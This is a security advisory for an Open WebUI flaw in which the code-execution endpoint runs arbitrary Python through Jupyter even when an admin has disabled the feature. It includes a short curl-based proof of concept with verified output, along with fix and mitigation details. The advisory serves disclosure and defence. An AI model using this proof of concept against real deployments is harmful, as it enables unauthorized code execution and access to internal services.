Open WebUI: Jupyter code execution works despite `ENABLE_CODE_EXECUTION=false` — feature gate bypassedGHSA-482j-2pq6-q5w4
HIGHFix: open-webui/open-webui@6d736d3GHSA-482j-2pq6-q5w4 is a high-severity (CVSS 8.8) CWE-863 vulnerability in open-webui. A fix is available for open-webui — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-482j-2pq6-q5w4.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
open-webuiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The /api/v1/utils/code/execute endpoint executes arbitrary Python code via Jupyter for any verified user, even when the admin has set ENABLE_CODE_EXECUTION=false. The feature gate is not enforced on the API endpoint — the configuration says "disabled" but code still executes.
Details
The admin configuration correctly shows ENABLE_CODE_EXECUTION: false. However, the code execution endpoint does not check this flag before forwarding Python code to the Jupyter server. Any authenticated user can execute arbitrary code in the Jupyter container.
PoC
Verified against Open WebUI v0.8.11 (latest) Docker on 2026-03-25.
Setup: Jupyter server connected, ENABLE_CODE_EXECUTION=false confirmed in admin config.
# Step 1: Verify code execution is disabled
curl -s http://target:8080/api/v1/configs/code_execution \
-H "Authorization: Bearer $TOKEN"
# Returns: {"ENABLE_CODE_EXECUTION": false, ...}
# Step 2: Execute code anyway — gate bypassed
curl -s -X POST http://target:8080/api/v1/utils/code/execute \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"code":"import os; print(os.popen(\"id\").read())"}'
Verified output:
Config: {"ENABLE_CODE_EXECUTION":false,"CODE_EXECUTION_ENGINE":"jupyter",...}
execute_status=200
execute_body={"stdout":"OPEN-WEBUI-SSRF-SECRET","stderr":"","result":""}
The PoC read the internal secret service content via Jupyter — despite ENABLE_CODE_EXECUTION=false. The Jupyter container has network access to internal services, making this both a code execution bypass and an SSRF vector.
Impact
Any authenticated user can execute arbitrary Python code in the Jupyter container, even when the admin has explicitly disabled code execution:
- Arbitrary code execution in the Jupyter container (read files, spawn processes)
- Network access to all internal Docker services from the Jupyter container
- Data exfiltration from internal services
- The admin's security configuration (
ENABLE_CODE_EXECUTION=false) is silently ineffective - Users who are told "code execution is disabled" have a false sense of security
Resolution
Fixed in commit 6d736d3c5, first released in v0.8.12. The /api/v1/utils/code/execute handler in backend/open_webui/routers/utils.py now checks request.app.state.config.ENABLE_CODE_EXECUTION before dispatching to the Jupyter engine and returns 403 with FEATURE_DISABLED('Code execution') when the admin has disabled the flag. The retrieval-side code path was gated in the same commit. Users on >= 0.8.12 are not affected.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | open-webui | all versions | 0.8.12pip install --upgrade 'open-webui==0.8.12' |
Affected Products
open webuiopenwebuiDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for open-webui, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update open-webui to 0.8.12 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-482j-2pq6-q5w4 is resolved across your whole dependency graph.
Workarounds
Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.
Frequently Asked Questions
Is GHSA-482j-2pq6-q5w4 in your dependencies?
Find it across PyPI, including transitive dependencies.